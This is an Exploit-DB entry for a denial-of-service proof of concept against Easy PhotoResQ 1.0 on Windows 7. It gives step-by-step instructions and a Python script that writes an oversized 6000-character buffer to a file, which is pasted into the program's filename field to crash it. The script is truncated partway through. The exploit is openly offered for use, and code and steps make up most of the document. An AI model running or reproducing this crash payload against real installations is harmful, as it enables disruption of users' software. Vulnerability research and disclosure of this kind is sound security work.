Easy PhotoResQ 1.0 - Denial Of Service (PoC)

EDB-ID:
45300

CVE:
N/A

EDB Verified: ✓

Author:
GIONATHAN REALE

Type:
DOS

Exploit: / {}

```
# Exploit Title: Easy PhotoResQ 1.0 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-29
# Homepage: https://www.hdtune.com/
# Software Link: https://www.hdtune.com/download.html
# Tested Version: v1.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file
"exploit.txt".
# Now start the program. Now when you are inside of the program click
"File" > "Options". In the field: "Folder / filename" paste the copied
content from "exploit.txt".
# Now click "OK" and see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
```